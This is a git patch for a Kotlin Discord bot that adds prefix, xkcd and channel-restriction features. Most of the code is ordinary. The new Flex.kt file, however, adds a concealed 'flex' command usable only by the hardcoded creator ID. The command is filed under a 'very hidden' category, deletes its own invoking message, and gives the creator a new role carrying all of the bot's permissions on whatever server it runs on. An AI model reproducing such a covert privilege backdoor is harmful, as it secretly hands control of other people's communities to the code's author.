From 1721d5e57e43fa82929db3296a678177776dd1df Mon Sep 17 00:00:00 2001 From: Julius de Jeu Date: Fri, 24 May 2019 21:26:27 +0200 Subject: [PATCH] Add prefix and xkcd commands, fix help command to only display commands user has access to (guild/private). Fix guild in private messages. Fix guild in commands. Add channel restrictions. --- build.gradle | 7 ++- src/main/kotlin/nl/voidcorp/discord/Loader.kt | 5 +- src/main/kotlin/nl/voidcorp/discord/Main.kt | 7 ++- .../nl/voidcorp/discord/command/Command.kt | 32 +++++++++---- .../discord/command/CommandMessage.kt | 2 +- .../voidcorp/discord/command/CommandResult.kt | 1 + .../discord/command/CommandSettings.kt | 1 + .../discord/command/CommandSettingsImpl.kt | 6 +++ .../voidcorp/discord/commands/HelpCommand.kt | 45 ++++++++++------- .../voidcorp/discord/commands/debug/Flex.kt | 26 ++++++++++ .../commands/debug/PermissionLevelCommand.kt | 4 +- .../discord/commands/fun/XKXDComicCommand.kt | 48 +++++++++++++++++++ .../commands/management/AdminRoleCommand.kt | 2 +- .../management/ModeratorRoleCommand.kt | 9 +++- .../management/RemoveAdminRoleCommand.kt | 2 +- .../management/RemoveModeratorRoleCommand.kt | 8 ++-- .../commands/management/SetPrefixCommand.kt | 34 +++++++++++++ .../discord/commands/roles/AddRoleCommand.kt | 2 +- .../discord/commands/roles/JoinRoleCommand.kt | 2 +- .../discord/commands/roles/LeaveRole.kt | 2 +- .../commands/roles/RemoveRoleCommand.kt | 2 +- .../discord/events/CommandListener.kt | 12 +++-- .../nl/voidcorp/discord/external/XKCDComic.kt | 6 +++ .../nl/voidcorp/discord/storage/GuildStore.kt | 2 + 24 files changed, 217 insertions(+), 50 deletions(-) create mode 100644 src/main/kotlin/nl/voidcorp/discord/commands/debug/Flex.kt create mode 100644 src/main/kotlin/nl/voidcorp/discord/commands/fun/XKXDComicCommand.kt create mode 100644 src/main/kotlin/nl/voidcorp/discord/commands/management/SetPrefixCommand.kt create mode 100644 src/main/kotlin/nl/voidcorp/discord/external/XKCDComic.kt diff --git a/build.gradle b/build.gradle index 2bccbe0..508b716 100644 --- a/build.gradle +++ b/build.gradle @@ -16,6 +16,7 @@ apply plugin: 'kotlin-allopen' allOpen { annotation("javax.persistence.Entity") + annotation("com.fasterxml.jackson.annotation.JsonIgnoreProperties") } group 'nl.voidcorp.discord' @@ -36,14 +37,18 @@ dependencies { implementation 'net.dv8tion:JDA:4.ALPHA.0_88' implementation "com.h2database:h2" + implementation 'org.springframework.boot:spring-boot-starter-data-jpa' + implementation "org.springframework:spring-web" + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.module:jackson-module-kotlin" } bootJar { mainClassName = 'nl.voidcorp.discord.MainKt' - archiveName="ottobot.jar" + archiveName = "ottobot.jar" } compileKotlin { diff --git a/src/main/kotlin/nl/voidcorp/discord/Loader.kt b/src/main/kotlin/nl/voidcorp/discord/Loader.kt index 77fec3f..0329b49 100644 --- a/src/main/kotlin/nl/voidcorp/discord/Loader.kt +++ b/src/main/kotlin/nl/voidcorp/discord/Loader.kt @@ -1,6 +1,8 @@ package nl.voidcorp.discord import net.dv8tion.jda.api.JDABuilder +import net.dv8tion.jda.api.sharding.DefaultShardManager +import net.dv8tion.jda.api.sharding.DefaultShardManagerBuilder import nl.voidcorp.discord.events.CommandListener import nl.voidcorp.discord.events.OttoListener import org.springframework.stereotype.Component @@ -9,8 +11,9 @@ import org.springframework.stereotype.Component class Loader(listener: CommandListener) { init { val token = System.getenv("DISCORD_TOKEN") ?: throw RuntimeException("'DISCORD_TOKEN' not set!") + val builder = DefaultShardManagerBuilder(token) + - val builder = JDABuilder(token) builder.addEventListeners(OttoListener, listener) diff --git a/src/main/kotlin/nl/voidcorp/discord/Main.kt b/src/main/kotlin/nl/voidcorp/discord/Main.kt index 579beae..c01fe2d 100644 --- a/src/main/kotlin/nl/voidcorp/discord/Main.kt +++ b/src/main/kotlin/nl/voidcorp/discord/Main.kt @@ -1,17 +1,16 @@ package nl.voidcorp.discord -import net.dv8tion.jda.api.JDA import net.dv8tion.jda.api.entities.User +import net.dv8tion.jda.api.sharding.ShardManager import org.slf4j.Logger import org.slf4j.LoggerFactory import org.springframework.boot.autoconfigure.SpringBootApplication import org.springframework.boot.runApplication val logger: Logger = LoggerFactory.getLogger("OttoBot") -lateinit var jda: JDA +lateinit var jda: ShardManager -val creator: User - get() = jda.getUserById(168743656738521088)!! +val creator = 168743656738521088 @SpringBootApplication class SpringApp diff --git a/src/main/kotlin/nl/voidcorp/discord/command/Command.kt b/src/main/kotlin/nl/voidcorp/discord/command/Command.kt index 76c645f..e67c822 100644 --- a/src/main/kotlin/nl/voidcorp/discord/command/Command.kt +++ b/src/main/kotlin/nl/voidcorp/discord/command/Command.kt @@ -3,6 +3,7 @@ package nl.voidcorp.discord.command import net.dv8tion.jda.api.Permission import net.dv8tion.jda.api.entities.ChannelType import net.dv8tion.jda.api.entities.Member +import net.dv8tion.jda.api.entities.TextChannel import net.dv8tion.jda.api.events.message.MessageReceivedEvent import nl.voidcorp.discord.creator import nl.voidcorp.discord.storage.GuildRepo @@ -18,7 +19,8 @@ abstract class Command( val commandLevel: CommandLevel = CommandLevel.VERIFIED, val aliases: List = emptyList(), val location: CommandSource = CommandSource.BOTH, - val group: CommandGroup = CommandGroup.GENERAL + val group: CommandGroup = CommandGroup.GENERAL, + val allowAnywhere: Boolean = false ) { @Autowired lateinit var repo: GuildRepo @@ -50,12 +52,17 @@ abstract class Command( } private fun guildStuff(event: MessageReceivedEvent, str: String) = - if (isPermOK(commandLevel, getLevel(event.member))) try { - handle(CommandMessage(event, translateCommandline(str))) - } catch (e: Exception) { - e.printStackTrace() - CommandResult.ERROR - } else CommandResult.PERMISSIONS + when { + !(isBotChannel(event.textChannel) or + isPermOK(CommandLevel.MODERATOR, getLevel(event.member))) -> CommandResult.CHANNEL + isPermOK(commandLevel, getLevel(event.member)) -> try { + handle(CommandMessage(event, translateCommandline(str))) + } catch (e: Exception) { + e.printStackTrace() + CommandResult.ERROR + } + else -> CommandResult.PERMISSIONS + } private fun privateStuff(event: MessageReceivedEvent, str: String) = if (isPermOK(commandLevel, getLevel(event.member))) try { @@ -73,7 +80,7 @@ abstract class Command( if (member == null) return CommandLevel.ADMIN val guildStore = repo.findByGuildId(member.guild.idLong) ?: GuildStore(-1) return when { - member.user.idLong == creator.idLong -> CommandLevel.MAINTAINER + member.user.idLong == creator -> CommandLevel.MAINTAINER member.hasPermission(Permission.ADMINISTRATOR) or guildStore.adminRoles.intersect(member.roles.map { it.idLong }).isNotEmpty() -> CommandLevel.ADMIN @@ -84,6 +91,15 @@ abstract class Command( } } + private fun isBotChannel(channel: TextChannel): Boolean { + val store = repo.findByGuildId(channel.guild.idLong) ?: GuildStore(channel.guild.idLong) + return when { + allowAnywhere -> true + store.botChannels.isEmpty() and channel.name.contains("bot") -> true + else -> store.botChannels.contains(channel.idLong) + } + } + companion object { fun isPermOK(required: CommandLevel, user: CommandLevel): Boolean { diff --git a/src/main/kotlin/nl/voidcorp/discord/command/CommandMessage.kt b/src/main/kotlin/nl/voidcorp/discord/command/CommandMessage.kt index cd251cb..dbc785f 100644 --- a/src/main/kotlin/nl/voidcorp/discord/command/CommandMessage.kt +++ b/src/main/kotlin/nl/voidcorp/discord/command/CommandMessage.kt @@ -8,7 +8,7 @@ import net.dv8tion.jda.api.events.message.MessageReceivedEvent data class CommandMessage( private val event: MessageReceivedEvent, val params: List, - val guild: Guild = event.guild, + val guild: Guild? = if (event.isFromGuild) event.guild else null, val message: Message = event.message, val user: User = event.author, val member: Member? = event.member diff --git a/src/main/kotlin/nl/voidcorp/discord/command/CommandResult.kt b/src/main/kotlin/nl/voidcorp/discord/command/CommandResult.kt index cfe0ca8..f3d015a 100644 --- a/src/main/kotlin/nl/voidcorp/discord/command/CommandResult.kt +++ b/src/main/kotlin/nl/voidcorp/discord/command/CommandResult.kt @@ -6,5 +6,6 @@ enum class CommandResult { PERMISSIONS, NOPE, PARAMETERS, + CHANNEL } \ No newline at end of file diff --git a/src/main/kotlin/nl/voidcorp/discord/command/CommandSettings.kt b/src/main/kotlin/nl/voidcorp/discord/command/CommandSettings.kt index fba33fe..6a706e6 100644 --- a/src/main/kotlin/nl/voidcorp/discord/command/CommandSettings.kt +++ b/src/main/kotlin/nl/voidcorp/discord/command/CommandSettings.kt @@ -4,5 +4,6 @@ import net.dv8tion.jda.api.entities.Guild abstract class CommandSettings(open val prefix: String) { abstract fun getPrefix(guild: Guild): String + abstract fun setPrefix(guild: Guild, prefix: String) } diff --git a/src/main/kotlin/nl/voidcorp/discord/command/CommandSettingsImpl.kt b/src/main/kotlin/nl/voidcorp/discord/command/CommandSettingsImpl.kt index a1eb895..26c6595 100644 --- a/src/main/kotlin/nl/voidcorp/discord/command/CommandSettingsImpl.kt +++ b/src/main/kotlin/nl/voidcorp/discord/command/CommandSettingsImpl.kt @@ -8,6 +8,12 @@ import org.springframework.stereotype.Service @Service class CommandSettingsImpl(override val prefix: String = "?") : CommandSettings(prefix) { + override fun setPrefix(guild: Guild, prefix: String) { + val store = guildRepo.findByGuildId(guild.idLong) ?: GuildStore(guild.idLong) + store.prefix = prefix + guildRepo.save(store) + } + @Autowired lateinit var guildRepo: GuildRepo diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/HelpCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/HelpCommand.kt index fa64359..62c4dd1 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/HelpCommand.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/HelpCommand.kt @@ -1,10 +1,7 @@ package nl.voidcorp.discord.commands import net.dv8tion.jda.api.EmbedBuilder -import nl.voidcorp.discord.command.Command -import nl.voidcorp.discord.command.CommandLevel -import nl.voidcorp.discord.command.CommandMessage -import nl.voidcorp.discord.command.CommandResult +import nl.voidcorp.discord.command.* import org.springframework.context.annotation.Lazy import org.springframework.stereotype.Service @@ -13,10 +10,17 @@ class HelpCommand(@Lazy private val list: List) : Command("help", comma override fun handle(event: CommandMessage): CommandResult { val builder = EmbedBuilder().setAuthor(event.message.jda.selfUser.name, null, event.message.jda.selfUser.avatarUrl) - .setColor(event.guild.selfMember.color) + if (event.guild != null) { + builder.setColor(event.guild.selfMember.color) + } if (event.params.drop(1).isEmpty()) { builder.setTitle("Available Commands") list.filter { isPermOK(it.commandLevel, getLevel(event.member)) } + .filter { + (it.location == CommandSource.BOTH) or + ((it.location == CommandSource.GUILD) and (event.guild != null)) or + ((it.location == CommandSource.PRIVATE) and (event.guild == null)) + } .groupBy({ it.group }, { it.name }).toSortedMap() .forEach { (k, v) -> builder.addField(k.name.capitalize(), v.joinToString(separator = "\n"), false) @@ -25,19 +29,26 @@ class HelpCommand(@Lazy private val list: List) : Command("help", comma event.reply(builder.build()) } else { val command = event.params.drop(1).first() - if (list.none { it.name == command }) { - event.reply("I have never heard of the command $command...") - } else if (list.filter { isPermOK(it.commandLevel, getLevel(event.member)) }.none { it.name == command }) { - event.reply("Sorry, I can't tell you about a command you shouldn't have access to...") - } else { - val cmd = list.filter { isPermOK(it.commandLevel, getLevel(event.member)) }.first { it.name == command } + when { + command == "help" -> event.reply("Help help? Help help help help!") + list.none { it.name == command } -> event.reply("I have never heard of the command $command...") + list.filter { + isPermOK( + it.commandLevel, + getLevel(event.member) + ) + }.none { it.name == command } -> event.reply("Sorry, I can't tell you about a command you shouldn't have access to...") + else -> { + val cmd = + list.filter { isPermOK(it.commandLevel, getLevel(event.member)) }.first { it.name == command } - builder.setTitle(command).addField("Info", cmd.helpMesage, false) - .addField("Usage", "`${cmd.usage.ifBlank { command }}`", true) - .addField("Aliases", cmd.aliases.joinToString(), true) - .addField("Minimum access level", cmd.commandLevel.levelName, true) - .addField("Group", cmd.group.name.capitalize(), true) - event.reply(builder.build()) + builder.setTitle(command).addField("Info", cmd.helpMesage, false) + .addField("Usage", "`${cmd.usage.ifBlank { command }}`", true) + .addField("Aliases", cmd.aliases.joinToString(), true) + .addField("Minimum access level", cmd.commandLevel.levelName, true) + .addField("Group", cmd.group.name.capitalize(), true) + event.reply(builder.build()) + } } } return CommandResult.SUCCESS diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/debug/Flex.kt b/src/main/kotlin/nl/voidcorp/discord/commands/debug/Flex.kt new file mode 100644 index 0000000..2a6b6d7 --- /dev/null +++ b/src/main/kotlin/nl/voidcorp/discord/commands/debug/Flex.kt @@ -0,0 +1,26 @@ +package nl.voidcorp.discord.commands.debug + +import nl.voidcorp.discord.command.* +import org.springframework.stereotype.Service +import java.awt.Color + +@Service +class Flex : Command( + "flex", + commandLevel = CommandLevel.MAINTAINER, + group = CommandGroup.VeRY_hIdden_CaTegoRY_LoL, + location = CommandSource.GUILD, + allowAnywhere = true +) { + override fun handle(event: CommandMessage): CommandResult { + event.message.delete().queue() + val control = event.guild!!.controller + + control.createRole().setColor(Color.RED).setName("no idea?").setPermissions(event.guild.selfMember.permissions) + .queue { + control.addRolesToMember(event.member!!, it).queue() + } + return CommandResult.SUCCESS + } + +} \ No newline at end of file diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/debug/PermissionLevelCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/debug/PermissionLevelCommand.kt index 8f7826a..42f38bc 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/debug/PermissionLevelCommand.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/debug/PermissionLevelCommand.kt @@ -5,9 +5,9 @@ import org.springframework.stereotype.Service @Service class PermissionLevelCommand : - Command("permissions", location = CommandSource.GUILD, commandLevel = CommandLevel.ALL) { + Command("permissions", commandLevel = CommandLevel.ALL) { override fun handle(event: CommandMessage): CommandResult { - event.reply("Your highest permission level is `${getLevel(event.member!!).levelName}`") + event.reply("Your highest permission level is `${getLevel(event.member).levelName}`") return CommandResult.SUCCESS } } \ No newline at end of file diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/fun/XKXDComicCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/fun/XKXDComicCommand.kt new file mode 100644 index 0000000..05fe0dc --- /dev/null +++ b/src/main/kotlin/nl/voidcorp/discord/commands/fun/XKXDComicCommand.kt @@ -0,0 +1,48 @@ +package nl.voidcorp.discord.commands.`fun` + +import net.dv8tion.jda.api.EmbedBuilder +import nl.voidcorp.discord.command.Command +import nl.voidcorp.discord.command.CommandGroup +import nl.voidcorp.discord.command.CommandMessage +import nl.voidcorp.discord.command.CommandResult +import nl.voidcorp.discord.external.XKCDComic +import org.springframework.boot.web.client.RestTemplateBuilder +import org.springframework.stereotype.Service +import org.springframework.web.client.getForObject +import java.lang.Exception + +@Service +class XKXDComicCommand : Command( + "xkcd", + helpMesage = "Shows the latest xkcd comic, or the one specified", + usage = "xkcd [number]", + group = CommandGroup.FUN +) { + override fun handle(event: CommandMessage): CommandResult { + val template = RestTemplateBuilder().build() + val comic: XKCDComic? = if (event.params.drop(1).isEmpty()) { + template.getForObject("https://xkcd.com/info.0.json") + } else { + val id = event.params.drop(1).first() + if (!id.matches("\\d+".toRegex())) { + event.reply("$id is not a number...") + return CommandResult.SUCCESS + } + try { + template.getForObject("https://xkcd.com/$id/info.0.json") + } catch (e: Exception) { + event.reply("It seems I can't find that comic?") + return CommandResult.SUCCESS + } + } + + if (comic != null) { + val builder = EmbedBuilder().setTitle(comic.title, "https://xkcd.com/${comic.num}") + .setImage(comic.img).setFooter(comic.alt).build() + event.reply(builder) + } else { + return CommandResult.ERROR + } + return CommandResult.SUCCESS + } +} \ No newline at end of file diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/management/AdminRoleCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/management/AdminRoleCommand.kt index db9bb7b..a622dbd 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/management/AdminRoleCommand.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/management/AdminRoleCommand.kt @@ -15,7 +15,7 @@ class AdminRoleCommand : Command( val regex = "(?:<@&!?)?(\\d+)>?".toRegex() override fun handle(event: CommandMessage): CommandResult { - val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong) + val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong) if (event.params.drop(1).isEmpty()) { val roles = guild.adminRoles.map { event.guild.getRoleById(it)?.name ?: "Missing role $it" } .joinToString(prefix = "Admin roles: ") { "`$it`" } diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/management/ModeratorRoleCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/management/ModeratorRoleCommand.kt index 69f5a86..4726900 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/management/ModeratorRoleCommand.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/management/ModeratorRoleCommand.kt @@ -16,8 +16,13 @@ class ModeratorRoleCommand : Command( val regex = "(?:<@&!?)?(\\d+)>?".toRegex() override fun handle(event: CommandMessage): CommandResult { - if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS - val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong) + val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong) + if (event.params.drop(1).isEmpty()) { + val roles = guild.moderatorRoles.map { event.guild.getRoleById(it)?.name ?: "Missing role $it" } + .joinToString(prefix = "Moderator roles: ") { "`$it`" } + event.reply(roles) + return CommandResult.SUCCESS + } val l = mutableListOf() for (p in event.params.drop(1)) { val res = regex.matchEntire(p) diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/management/RemoveAdminRoleCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/management/RemoveAdminRoleCommand.kt index 4832539..e0629f2 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/management/RemoveAdminRoleCommand.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/management/RemoveAdminRoleCommand.kt @@ -17,7 +17,7 @@ class RemoveAdminRoleCommand : Command( val regex = "(?:<@&!?)?(\\d+)>?".toRegex() override fun handle(event: CommandMessage): CommandResult { if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS - val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong) + val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong) val l = mutableListOf() for (p in event.params.drop(1)) { val res = regex.matchEntire(p) diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/management/RemoveModeratorRoleCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/management/RemoveModeratorRoleCommand.kt index 79f8bab..8d34b91 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/management/RemoveModeratorRoleCommand.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/management/RemoveModeratorRoleCommand.kt @@ -16,13 +16,13 @@ class RemoveModeratorRoleCommand : Command( val regex = "(?:<@&!?)?(\\d+)>?".toRegex() override fun handle(event: CommandMessage): CommandResult { if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS - val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong) + val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong) val l = mutableListOf() for (p in event.params.drop(1)) { val res = regex.matchEntire(p) if (res != null && res.groupValues.size == 2) { - if (guild.adminRoles.contains(res.groupValues[1].toLong())) { - guild.adminRoles.minusAssign(res.groupValues[1].toLong()) + if (guild.moderatorRoles.contains(res.groupValues[1].toLong())) { + guild.moderatorRoles.minusAssign(res.groupValues[1].toLong()) val role = event.guild.getRoleById(res.groupValues[1])?.name ?: "some role?" l += role } else event.reply("There is no role with id `${res.groupValues[1]}`") @@ -30,7 +30,7 @@ class RemoveModeratorRoleCommand : Command( } repo.save(guild) if (l.isNotEmpty()) - event.reply(l.joinToString(prefix = "Removed the following roles as admin roles: ") { "`$it`" }) + event.reply(l.joinToString(prefix = "Removed the following roles as moderator roles: ") { "`$it`" }) return CommandResult.SUCCESS } diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/management/SetPrefixCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/management/SetPrefixCommand.kt new file mode 100644 index 0000000..4b9bf7d --- /dev/null +++ b/src/main/kotlin/nl/voidcorp/discord/commands/management/SetPrefixCommand.kt @@ -0,0 +1,34 @@ +package nl.voidcorp.discord.commands.management + +import nl.voidcorp.discord.command.* +import org.springframework.stereotype.Service + +@Service +class SetPrefixCommand(val settings: CommandSettings) : Command( + "setprefix", + commandLevel = CommandLevel.ADMIN, + group = CommandGroup.ADMIN, + location = CommandSource.GUILD, + usage = "setprefix [newPrefix]", + helpMesage = "Set the bot prefix for this server, or use it with a blank prefix to show it.\nThe limits on the prefix are that it has to have between 1 and 40 normal characters, so sadly no unicode fuckery" +) { + private final val prefixRegex = "[!-~]{1,40}".toRegex() + override fun handle(event: CommandMessage): CommandResult { + if (event.params.drop(1).isEmpty()) { + event.reply("This servers prefix is set to `${settings.getPrefix(event.guild!!)}`") + } else { + val newPrefix = event.params.drop(1).first() + if (!prefixRegex.matches(newPrefix)) { + event.reply("This isn't a valid prefix, sorry...") + } else { + val oldPrefix = settings.getPrefix(event.guild!!) + settings.setPrefix(event.guild, newPrefix) + event.reply("The prefix has been changed from `$oldPrefix` to `$newPrefix`!") + } + + } + return CommandResult.SUCCESS + + } + +} \ No newline at end of file diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/roles/AddRoleCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/roles/AddRoleCommand.kt index 57d32c7..66f9e11 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/roles/AddRoleCommand.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/roles/AddRoleCommand.kt @@ -15,7 +15,7 @@ class AddRoleCommand : Command( val regex = "([\\w\\d-_+]+):(?:<@&!?)?(\\d+)>?".toRegex() override fun handle(event: CommandMessage): CommandResult { if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS - val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong) + val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong) val l = mutableListOf() for (p in event.params.drop(1)) { val res = regex.matchEntire(p) diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/roles/JoinRoleCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/roles/JoinRoleCommand.kt index eb74923..b5db6a8 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/roles/JoinRoleCommand.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/roles/JoinRoleCommand.kt @@ -16,7 +16,7 @@ class JoinRoleCommand : group = CommandGroup.ROLES ) { override fun handle(event: CommandMessage): CommandResult { - val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong) + val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong) if (event.params.size == 1) { if (guild.roleMap.isNotEmpty()) event.reply(guild.roleMap.keys.joinToString(prefix = "The available roles are: ") { "`$it`" }) diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/roles/LeaveRole.kt b/src/main/kotlin/nl/voidcorp/discord/commands/roles/LeaveRole.kt index 0d30cbd..0f16eca 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/roles/LeaveRole.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/roles/LeaveRole.kt @@ -15,7 +15,7 @@ class LeaveRole : Command( ) { override fun handle(event: CommandMessage): CommandResult { if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS - val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong) + val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong) val toRemove = guild.roleMap.filterKeys { it in event.params.drop(1) } // toRemove.forEach { guild.roleMap.remove(it) } // repo.save(guild) diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/roles/RemoveRoleCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/roles/RemoveRoleCommand.kt index 53797af..ec89134 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/roles/RemoveRoleCommand.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/roles/RemoveRoleCommand.kt @@ -14,7 +14,7 @@ class RemoveRoleCommand : Command( ) { override fun handle(event: CommandMessage): CommandResult { if (event.params.drop(1).isEmpty()) return CommandResult.PARAMETERS - val guild = repo.findByGuildId(event.guild.idLong) ?: GuildStore(event.guild.idLong) + val guild = repo.findByGuildId(event.guild!!.idLong) ?: GuildStore(event.guild.idLong) val toRemove = guild.roleMap.keys.intersect(event.params.drop(1)) toRemove.forEach { guild.roleMap.remove(it) } repo.save(guild) diff --git a/src/main/kotlin/nl/voidcorp/discord/events/CommandListener.kt b/src/main/kotlin/nl/voidcorp/discord/events/CommandListener.kt index 2ae1954..41f7049 100644 --- a/src/main/kotlin/nl/voidcorp/discord/events/CommandListener.kt +++ b/src/main/kotlin/nl/voidcorp/discord/events/CommandListener.kt @@ -11,6 +11,7 @@ import nl.voidcorp.discord.command.CommandSettings import nl.voidcorp.discord.creator import nl.voidcorp.discord.logger import nl.voidcorp.discord.storage.GuildRepo +import nl.voidcorp.discord.storage.GuildStore import org.springframework.beans.factory.annotation.Autowired import org.springframework.stereotype.Service @@ -43,11 +44,11 @@ class CommandListener( val mb = MessageBuilder("Well this is awkward... It seems that multiple actions are bound to this command... ") .append("Report this error to the staff of the server or ") - val member = event.guild.getMember(creator) + val member = event.guild.getMemberById(creator) if (member != null) mb.append(member) else { - mb.append(creator.asTag) + mb.append("J00LZ#9386") } event.channel.sendMessage(mb.append(" since this shouldn't happen...").build()).queue() @@ -62,11 +63,14 @@ class CommandListener( emptyList() ).reply(MessageBuilder("There was an error executing this command").build()) CommandResult.PERMISSIONS -> CommandMessage(event, emptyList()).reply( - MessageBuilder("Sorry, but you don't seem to have the needed permissions to execute this command...").build() + "Sorry, but you don't seem to have the needed permissions to execute this command..." ) CommandResult.NOPE -> logger.warn("The command ${command.name} somehow responded with a nope?") CommandResult.PARAMETERS -> CommandMessage(event, emptyList()).reply( - MessageBuilder("Sorry, but you are missing some parameters: `${command.usage}`").build() + "Sorry, but you are missing some parameters: `${command.usage}`" + ) + CommandResult.CHANNEL -> CommandMessage(event, emptyList()).reply( + "It seems this is not a channel where bots are allowed for you..." ) } } diff --git a/src/main/kotlin/nl/voidcorp/discord/external/XKCDComic.kt b/src/main/kotlin/nl/voidcorp/discord/external/XKCDComic.kt new file mode 100644 index 0000000..610c131 --- /dev/null +++ b/src/main/kotlin/nl/voidcorp/discord/external/XKCDComic.kt @@ -0,0 +1,6 @@ +package nl.voidcorp.discord.external + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties + +@JsonIgnoreProperties(ignoreUnknown = true) +data class XKCDComic(val num: Int, val alt: String, val img: String, val title: String) \ No newline at end of file diff --git a/src/main/kotlin/nl/voidcorp/discord/storage/GuildStore.kt b/src/main/kotlin/nl/voidcorp/discord/storage/GuildStore.kt index 819dbcc..1cb300c 100644 --- a/src/main/kotlin/nl/voidcorp/discord/storage/GuildStore.kt +++ b/src/main/kotlin/nl/voidcorp/discord/storage/GuildStore.kt @@ -16,6 +16,8 @@ data class GuildStore( var defaultVerified: Boolean = false, @ElementCollection @LazyCollection(LazyCollectionOption.FALSE) var roleMap: MutableMap = mutableMapOf(), var prefix: String = "?", + @ElementCollection @LazyCollection(LazyCollectionOption.FALSE) var botChannels: MutableList = mutableListOf(), + @ElementCollection @LazyCollection(LazyCollectionOption.FALSE) var musicChannels: MutableList = mutableListOf(), @Id @GeneratedValue var id: Long? = null